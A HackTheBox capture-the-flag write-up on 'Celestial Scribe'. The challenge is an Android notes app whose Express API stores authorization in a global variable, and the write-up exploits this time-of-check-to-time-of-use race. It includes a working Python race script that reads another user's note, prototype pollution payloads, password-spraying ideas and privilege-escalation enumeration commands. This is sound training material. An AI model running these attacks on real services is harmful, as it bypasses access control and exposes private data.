← Back to Writeups
HTBN/AWeb

Celestial Scribe

XESXOR8/23/20266 min read
#web#htb#n/a

Celestial Scribe

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-29 | Status: Solved Techniques: apk_decompilation, authorization_race_condition, numeric_id_enumeration, toctou_global_state_poisoning

Summary

Task: Android APK (Secure Cloud Notes) frontend over an Express/Node.js REST API; flag lives in a protected admin note. Solution: TOCTOU on a process-global authorization flag — a legitimate check-permission on an owned note poisons the shared allowed state, then an immediate GET of the admin note (numeric id 1) bypasses access control.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260529_hackthebox_celestial_scribe
  • Tags: race_condition, toctou, jwt, nodejs, idor, express, broken_access_control, android_apk
  • Indicators: check-permission and get-note are two separate requests, client sleeps 100ms between auth check and read, authorization result stored in process-global variable, notes stored under numeric ids not string flag, HS256 JWT secret not crackable
  • Source: 20260529_hackthebox_celestial_scribe.md

Foothold

Vulnerability / Misconfiguration

  1. Apk_decompilation
  2. Authorization_race_condition
  3. Numeric_id_enumeration
  4. Toctou_global_state_poisoning
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • apk_decompilation
  • authorization_race_condition
  • numeric_id_enumeration
  • toctou_global_state_poisoning
  • Tags: race_condition, toctou, jwt, nodejs, idor, express, broken_access_control, android_apk

Original Writeup

<details><summary>Click to expand original content</summary>

Celestial Scribe — HackTheBox

Description

Secure Cloud Notes — an Android app for storing your private notes in the cloud. Configure your server base URL and keep your secrets safe. (package htb.d3vnu11.securenotes)

English summary: The challenge ships an Android APK that acts as a thin client over a remote Express/Node.js REST API. The user points the app at http://IP:PORT/api. The flag is stored inside a hidden admin note that a normal user is not authorized to read. The goal is to read that protected note.

Recon

APK decompilation

Decompiled the APK with jadx and apktool. Package: htb.d3vnu11.securenotes. From the decompiled sources we recover the full API surface:

MethodEndpointBehavior
POST/api/auth/register {email, password}returns HS256 JWT
POST/api/auth/login {email, password}returns HS256 JWT
GET/api/auth/verifyreturns userId
GET/api/noteslist of own notes {id, title, createdAt}
GET/api/notes/:id/check-permission200 {success:true} if caller owns note, else 403 Access denied
GET/api/notes/:idnote content if permitted
POST/api/notes {id, title, content}create note
DELETE/api/notes/:iddelete note

The critical client flow

The decompiled note-open routine (class D0 / h.java) performs the read in two separate server round-trips with a delay in between:

GET /notes/:id/check-permission     // authorization check
Thread.sleep(100)                   // <-- 100 ms gap
GET /notes/:id                      // actual read

This split between the time-of-check (check-permission) and the time-of-use (GET note) is the structural hint that the authorization decision is not bound to the read request.

JWT

The bundled sample token (jwt.txt) decodes to HS256 with payload {id, email: test@test.com, iat, exp}.

Hypotheses Tried and Discarded

These were all dead ends — documented so other players skip them:

  • JWT attacks. The HS256 signing secret was not crackable (absent from rockyou, top-200, and themed wordlists). alg:none was rejected; tampered signatures were rejected. JWT forgery is impossible here.
  • Credential hunting / password spraying. Spraying default passwords (e.g. Tmp123456!) against guessed accounts like flag@securecloudnotes.htb, admin@… is a pure red herring. Importantly, the literal note id flag does not exist.
  • Prototype pollution via query string. ?a[__proto__][flag]=1, __proto__[flag][id]=flag — no observable effect.
  • Object / type-confusion writes. POST /notes with object-typed title/content only produced 500 Server error.
  • Email normalization / duplicate-key JSON / Unicode email collisions. No account takeover.
  • Naive race against your own check-permission to flip a flag GET. Produced only 403/404 noise — because the id flag genuinely does not exist (404 once the gate opened).

The Vulnerability — TOCTOU on Global Authorization State

The Express backend stores the result of check-permission in a process-global variable (e.g. a module-level allowed flag) rather than scoping it to the individual request/user. Because authorization and the read are two separate HTTP requests, the global state can be poisoned:

  1. A legitimate GET /notes/<ownId>/check-permission sets the shared allowed = true.
  2. Any subsequent GET /notes/<anyId> that arrives before the flag is reset / re-evaluated reads the poisoned global, passes the gate, and returns the note regardless of ownership.

This is a classic time-of-check-to-time-of-use (TOCTOU) broken-access-control bug combined with shared mutable server state. No JWT forgery, no credential theft — just exploiting the gap the client itself exposes with its Thread.sleep(100).

Exploitation

  1. Register any account; capture the JWT.
  2. GET /api/notes to learn your own note id.
  3. GET /api/notes/<ownId>/check-permission → legitimately returns 200 and poisons the global allowed=true.
  4. Immediately GET /api/notes/<targetId> → reads the poisoned global, bypasses the gate, returns the admin note.

Because there is a real race window, each attempt succeeds roughly ~50% of the time; a short loop (8–20 iterations) succeeds deterministically.

#!/usr/bin/env python3
import requests, time

base = 'http://TARGET:PORT/api'
s = requests.Session()

# 1) register & grab JWT
tok = s.post(base + '/auth/register',
             json={'email': f'a{int(time.time())}@test.com',
                   'password': 'P@ssw0rd123!'}).json()['token']
h = {'Authorization': f'Bearer {tok}'}

# 2) own note id
own = s.get(base + '/notes', headers=h).json()['notes'][0]['id']

# 3+4) poison global allowed=true, then read protected admin note (numeric id "1")
for _ in range(20):
    s.get(base + f'/notes/{own}/check-permission', headers=h)   # poison
    r = s.get(base + '/notes/1', headers=h)                     # bypass read
    if r.status_code == 200:
        print(r.json()['note']['content'])
        break

Key Insight — Numeric Note IDs, Not flag

The decisive realization: notes are stored under numeric indices (1, 2, …), not the string flag. The fake flag id sends countless solvers down a rabbit hole. After leaking the permission grant, iterating ids reveals:

  • GET /api/notes/1 → admin-note-1, title "Secure System Configuration", content = the flag.
  • GET /api/notes/2 → admin-note-2, a decoy "Server Maintenance Schedule".

Behavioral evidence confirming the bug:

  • No priming: GET /notes/flag → always 403.
  • Own-note check-permission then GET → 404/403 mix (gate opened, but flag id missing → 404), proving the global-permission leak is real and flag is fake.
  • Own-note check-permission then GET /notes/1 → 200 with the flag.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR